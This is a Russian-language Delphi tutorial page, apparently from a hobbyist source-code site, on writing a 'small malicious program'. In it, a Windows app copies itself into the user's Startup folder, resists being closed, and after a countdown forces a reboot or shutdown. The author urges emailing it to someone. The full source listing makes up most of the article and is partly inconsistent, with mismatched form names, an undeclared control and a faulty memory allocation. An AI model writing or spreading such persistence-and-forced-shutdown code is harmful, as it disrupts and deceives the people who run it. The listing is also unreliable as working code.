Who Delphi As

Slideshow Image 1 Slideshow Image 2 Slideshow Image 3 Slideshow Image 4
Добро пожаловать! На этом сайте Вы найдете большое количество разнообразных исходников, а так же программ, написанных на языке программирования Delphi. Все люди разные, поэтому кому-то программирование дается легко, а кому-то не очень. Но в любом случае бывают моменты, когда сколько не бейся над проблемой, она почему-то с непонятным упорством никак не хочет решаться. В этом случае будет полезно посмотреть на решения проблемы с точки зрения других программистов. Поэтому, если вы ищите ответ на конкретный вопрос, для начала не лишним будет воспользоваться поиском по сайту, а уже потом искать ответ в остальных его разделах. Возможно, Вы найдете ответ на интересующий Вас вопрос в нашей коллекции Delphiисходников (собрано более 1000 примеров) и статей, на Форуме / в Чате, в разделе FAQ, либо вГостевой книге. Информация, размещенная на сайте, будет полезна как начинающим программистам для обучения программированию на Borland Delphi, так и опытным разработчикам, уже освоившим Дельфи и желающим расширить свои знания и возможности проектирования профессиональных программ. Надеюсь, исходники программ, примеры и решения, а также советы пользователей, размещенные на сайте, окажутся для Вас небесполезными в таком непростом, но интересном деле, как программирование на языке Делфи. При желании Вы можете разместить ссылку на данный сайт выбрав один из предложенных вариантов на этой странице. Вы также можете добавить на сайт свой исходник или статью, воспользовавшись этой формой. Через некоторое время, после его проверки, исходник будет доступен для скачивания всем пользователям сайта Delphi Sources. По всем возникшим вопросам обращайтесь на E-mail, используя данную форму. Удачи Вам!
Главная » Статьи » Мои статьи

Маленькая вредоностная программа

    Создаем новый проект File -> New  -> Application.

Закидываем на форму 2 label’a, 1 checkbox, 1 timer с вкладки System, 1 Progressbar с вкладки Win32.

Для начала сделаем самое простое - объявим нужные для работы переменные. Делать это будем в разделе implementation, зачем - поймешь сам, если ненадолго включишь мозгу. Итак, вводим вот что:

var

progress : integer; //сколько набежало в прогрессбаре

Want2SwitchOff : byte = 0; //сколько раз кликнули по label`у, чтобы прога закрылась

ReallyClose : boolean = false;//после 5-ти кликов будет true, и все, финита :)


В Object Inspector’e у формы во вкладке Events по событию OnCreate пишим следующий код


procedure Form1.FormCreate(Sender: TObject);

var

Folder: Pchar;

List: PitemidList;

begin

SHGetSpecialFolderLocation(0,CSIDL_STARTUP,List);

new(folder);

SHGetPathFromIDList(List,folder);

ChDir(folder);

CopyFile(PChar(ExtractFilePath(paramStr(0)) + 'pickUp.exe'), 'pickUp.exe', true);// pickup – ваше имя файла 

end;


Данная процедура записывает файл в автозагрузку.


Теперь делаем так чтобы пользователь сколько бы не щелкал на checkbox галочка стояла.

Дважды щелкаем на checkbox.


procedure TForm.checkbox1Click(Sender: TObject);

begin

checkbox1.Checked:=true;

end;


Готово! Сейчас сделаем, чтобы прогу обычными средствами (Alf-F4 или крестиком) нельзя было отрубить. Выбираем вкладку 'Events' в свойствах формы (все как обычно в Object Inspector`е), а там создаем обработчик события OnClose. В нем пишем:

if (ReallyClose) then

Action := caFree

else Action := caNone;


А для того чтобы прогу можно было всетаки вырубить пишем следующий код:

Щелкаем дважды по label1


procedure TSuperForm.Label1Click(Sender: TObject);

begin

Want2SwitchOff:=Want2SwitchOff + 1;

if (Want2SwitchOff=2) then

begin

ReallyClose:=true;

SuperForm.Close();

end;

end;


Что это такое? Ни что иное, как закрывашка (типа открывашки для пива, только наоборот)! Объясняю: после каждого клика по label`у переменная Want2SwitchOff будет увеличиваться на один. Если она станет равной двух, прога вырубается! Все просто. :)

А теперь самое главное сам процесс отрубания виндов. Да, еще нужно сделать, чтобы прогрессбар работал. Думаешь, геморрой? Да всего-то пара строк:

Дважды щелкаем по таймеру и вводим следующий код:


progress := progress + 1;

if (progress <= 100) then ProgressBar.StepIt

else

begin

if (ToReboot.Checked) then

ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0);

if (ToPowerOff.Checked) then

ExitWindowsEx(EWX_POWEROFF or EWX_FORCE, 0);

End;

Вот и все прога готова скидывайте кому нибудь на почту и ОК.

Мое тело программы:

unit Unit1;


interface


uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, ExtCtrls, ComCtrls,ShlObj;


type

TSuperForm = class(TForm)

Label1: TLabel;

ProgressBar: TProgressBar;

DeathTimer: TTimer;

Label2: TLabel;

ToReboot: TCheckBox;

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure Label1Click(Sender: TObject);

procedure ToRebootClick(Sender: TObject);

procedure DeathTimerTimer(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;


var

SuperForm: TSuperForm;


implementation

var

progress:integer;

Want2SwitchOff:byte=0;

ReallyClose:boolean=false;


{$R *.dfm}


procedure TSuperForm.FormCreate(Sender: TObject);

var

Folder: Pchar;

List: PitemidList;

begin

SHGetSpecialFolderLocation(0,CSIDL_STARTUP,List);

new(folder);

SHGetPathFromIDList(List,folder);

ChDir(folder);

CopyFile(PChar(ExtractFilePath(paramStr(0)) + 'pickUp.exe'), 'pickUp.exe', true);

end;


procedure TSuperForm.ToRebootClick(Sender: TObject);

begin

ToReboot.Checked:=true;

end;


procedure TSuperForm.FormClose(Sender: TObject; var Action: TCloseAction);

begin

if (ReallyClose) then

Action := caFree

else Action := caNone;

end;


procedure TSuperForm.Label1Click(Sender: TObject);

begin

Want2SwitchOff:=Want2SwitchOff + 1;

if (Want2SwitchOff=2) then

begin

ReallyClose:=true;

SuperForm.Close();

end;

end;


 


procedure TSuperForm.DeathTimerTimer(Sender: TObject);

begin

progress := progress + 1;

if (progress <= 10) then ProgressBar.StepIt

else

begin

if (ToReboot.Checked) then

ExitWindowsEx(EWX_FORCE,0);

end

end;

end.



Источник: http://wda.3dn.ru/publ/malenkaja_vredonostnaja_programma/1-1-0-5
Категория: Мои статьи | Добавил: woltdani (30.12.2011) | Автор: Маленькая вредоностная программа E W
Просмотров: 760 | Теги: Маленькая вредоностная программа | Рейтинг: 5.0/1
Всего комментариев: 0
Имя *:
Email *:
Код *:
Вверх
WHO DELPHI AS